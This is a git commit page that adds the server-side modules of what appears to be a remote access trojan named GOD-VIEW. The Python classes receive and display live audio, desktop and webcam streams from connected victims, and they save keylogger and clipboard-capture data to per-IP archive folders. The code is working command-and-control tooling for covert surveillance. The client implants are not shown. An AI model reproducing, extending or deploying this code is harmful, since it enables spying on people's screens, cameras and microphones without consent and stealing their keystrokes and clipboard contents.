summaryrefslogtreecommitdiff
path: root/server/modules
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 10:39:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 10:39:49 +0200
commit58ebd3bc0f00c532e97e9a5571471ffab87934ba (patch)
tree6e099e59af07206df6edf2b0c585d0c5a466d4bd /server/modules
GOD-VIEWHEADmain
Diffstat (limited to 'server/modules')
-rw-r--r--server/modules/audio.py53
-rw-r--r--server/modules/desktop.py69
-rw-r--r--server/modules/logger.py56
-rw-r--r--server/modules/module.py46
-rw-r--r--server/modules/webcam.py74
5 files changed, 298 insertions, 0 deletions
diff --git a/server/modules/audio.py b/server/modules/audio.py
new file mode 100644
index 0000000..6938606
--- /dev/null
+++ b/server/modules/audio.py
@@ -0,0 +1,53 @@
+'''
+ Handles the audio stream module connection.
+ Setting up the output stream & making sure
+ it's cleaned up from memory & data structures.
+ Independent of failure or success.
+
+ Verified: 2021 February 7
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * pyaudio
+'''
+
+from server.modules.module import Module
+from shared.helper import Helper
+from server.state import Dynamic
+from shared.error import Error
+from shared.data import Data
+
+import pyaudio
+
+
+class Audio(Module):
+
+ def __init__(self, conn, token, connect_ip):
+ super().__init__(conn, token, connect_ip)
+ self.__audio = pyaudio.PyAudio()
+
+ @Error.quiet_thread
+ def __recv(self, channels, rate):
+ try:
+ try:
+ stream = self.__audio.open(format=pyaudio.paInt16,
+ channels=channels, rate=rate,
+ frames_per_buffer=Data.BUFFER_SIZE,
+ output=True)
+
+ try:
+ with self.conn as sock:
+ while True:
+ stream.write(Data.recv(sock, True, False))
+ Data.send(sock)
+ finally:
+ stream.stop_stream()
+ stream.close()
+ finally:
+ self.__audio.terminate()
+ finally:
+ del Dynamic.MODULES[self.token]
+
+ def live(self, *args):
+ Helper.thread(self.__recv, *args)
diff --git a/server/modules/desktop.py b/server/modules/desktop.py
new file mode 100644
index 0000000..d7dea21
--- /dev/null
+++ b/server/modules/desktop.py
@@ -0,0 +1,69 @@
+'''
+ Handles the desktop stream module connection.
+ Displaying the images using the opencv-python
+ library & allowing some interactions with
+ the window.
+
+ Verified: 2021 February 7
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * opencv-python
+'''
+
+from server.state import ServerStatic, Dynamic
+from server.modules.module import Module
+from shared.helper import Helper
+from shared.error import Error
+from shared.data import Data
+
+import numpy
+import time
+import cv2
+
+
+class Desktop(Module):
+
+ def __init__(self, conn, token, connect_ip):
+ super().__init__(conn, token, connect_ip)
+ self.__fps = True
+
+ @Error.quiet_thread
+ def __recv(self):
+ try:
+ with self.conn as sock:
+ title = '{} {} {}'.format(
+ self.connect_ip, ServerStatic.SEPERATOR, self.token)
+ cv2.namedWindow(title, cv2.WINDOW_NORMAL)
+ cv2.resizeWindow(title, *ServerStatic.WINDOW_SIZE)
+
+ while True:
+ if self.__fps:
+ timer = time.time()
+
+ frame = Data.recv(sock, True, False)
+ frame = numpy.frombuffer(frame, numpy.uint8)
+ frame = cv2.imdecode(frame, cv2.IMREAD_UNCHANGED)
+
+ if self.__fps:
+ cv2.putText(frame, f'{1 / (time.time() - timer):.2f}',
+ (10, 25), cv2.FONT_HERSHEY_SIMPLEX,
+ 0.8, (128, 0, 0), 2)
+
+ cv2.imshow(title, frame)
+
+ key = cv2.waitKey(25) & 0xFF
+
+ if key == ord('q'):
+ raise SystemExit
+
+ if key == ord('f'):
+ self.__fps = not self.__fps
+
+ Data.send(sock)
+ finally:
+ del Dynamic.MODULES[self.token]
+
+ def live(self):
+ Helper.thread(self.__recv)
diff --git a/server/modules/logger.py b/server/modules/logger.py
new file mode 100644
index 0000000..4adaf79
--- /dev/null
+++ b/server/modules/logger.py
@@ -0,0 +1,56 @@
+'''
+ Handles the keylogger & clipper stream module
+ connections. Simply writes to files logging
+ the data sent from the client in intervals.
+
+ Verified: 2021 February 7
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from server.state import ServerStatic, Dynamic
+from server.modules.module import Module
+from server.helper import ServerHelper
+from shared.helper import Helper
+from shared.error import Error
+from shared.data import Data
+
+import os
+
+
+class Logger(Module):
+
+ def __init__(self, logger_type, conn, token, connect_ip):
+ super().__init__(conn, token, connect_ip)
+ self.__module = logger_type.capitalize()
+ self.__logger_type = logger_type
+
+ def __str__(self):
+ return self.__module
+
+ @Error.quiet_thread
+ def __recv(self):
+ try:
+ with self.conn as sock:
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR,
+ self.safe_connect_ip,
+ self.__logger_type)
+ filepath = os.path.join(
+ dirpath, ServerHelper.filename('txt'))
+
+ while True:
+ data = Data.recv(sock, True)
+
+ if data:
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ Helper.write_file(filepath, data)
+
+ Data.send(sock)
+ finally:
+ del Dynamic.MODULES[self.token]
+
+ def live(self, *args):
+ Helper.thread(self.__recv, *args)
diff --git a/server/modules/module.py b/server/modules/module.py
new file mode 100644
index 0000000..1768416
--- /dev/null
+++ b/server/modules/module.py
@@ -0,0 +1,46 @@
+'''
+ A shared class among all modules to all
+ have the same core identifying features
+ when interacted with.
+
+ Verified: 2021 February 7
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from server.helper import SafeIP
+from server.state import Dynamic
+from shared.error import Error
+
+
+class Module:
+
+ def __init__(self, conn, token, connect_ip):
+ Dynamic.MODULES[token] = self
+ self.__conn = conn
+ self.__token = token
+ self.__connect_ip = SafeIP(connect_ip)
+
+ def __str__(self):
+ return type(self).__name__
+
+ @property
+ def safe_connect_ip(self):
+ return self.__connect_ip.safe
+
+ @property
+ def connect_ip(self):
+ return self.__connect_ip.pure
+
+ @property
+ def token(self):
+ return self.__token
+
+ @property
+ def conn(self):
+ return self.__conn
+
+ @Error.quiet
+ def close(self):
+ self.__conn.close()
diff --git a/server/modules/webcam.py b/server/modules/webcam.py
new file mode 100644
index 0000000..d3a961d
--- /dev/null
+++ b/server/modules/webcam.py
@@ -0,0 +1,74 @@
+'''
+ Handles the webcam stream module connection.
+ Displaying the images using the opencv-python
+ library & allowing some interactions with
+ the window.
+
+ Verified: 2021 February 7
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * opencv-python
+ * numpy
+'''
+
+from server.state import ServerStatic, Dynamic
+from server.modules.module import Module
+from shared.helper import Helper
+from shared.error import Error
+from shared.data import Data
+
+import numpy
+import time
+import cv2
+
+
+class Webcam(Module):
+
+ def __init__(self, conn, token, connect_ip):
+ super().__init__(conn, token, connect_ip)
+ self.__fps = False
+ self.__flip = 0
+
+ @Error.quiet_thread
+ def __recv(self):
+ try:
+ with self.conn as sock:
+ title = '{} {} {}'.format(
+ self.connect_ip, ServerStatic.SEPERATOR, self.token)
+
+ while True:
+ if self.__fps:
+ timer = time.time()
+
+ frame = Data.recv(sock, True, False)
+ frame = numpy.frombuffer(frame, numpy.uint8)
+ frame = cv2.imdecode(frame, cv2.IMREAD_UNCHANGED)
+ frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
+ frame = cv2.flip(frame, self.__flip)
+
+ if self.__fps:
+ cv2.putText(frame, f'{1 / (time.time() - timer):.2f}',
+ (10, 25), cv2.FONT_HERSHEY_SIMPLEX,
+ 0.8, (128, 0, 0), 2)
+
+ cv2.imshow(title, frame)
+
+ key = cv2.waitKey(25) & 0xFF
+
+ if key == ord('q'):
+ raise SystemExit
+
+ if key == ord('f'):
+ self.__fps = not self.__fps
+
+ if key == ord('t'):
+ self.__flip = int(not self.__flip)
+
+ Data.send(sock)
+ finally:
+ del Dynamic.MODULES[self.token]
+
+ def live(self):
+ Helper.thread(self.__recv)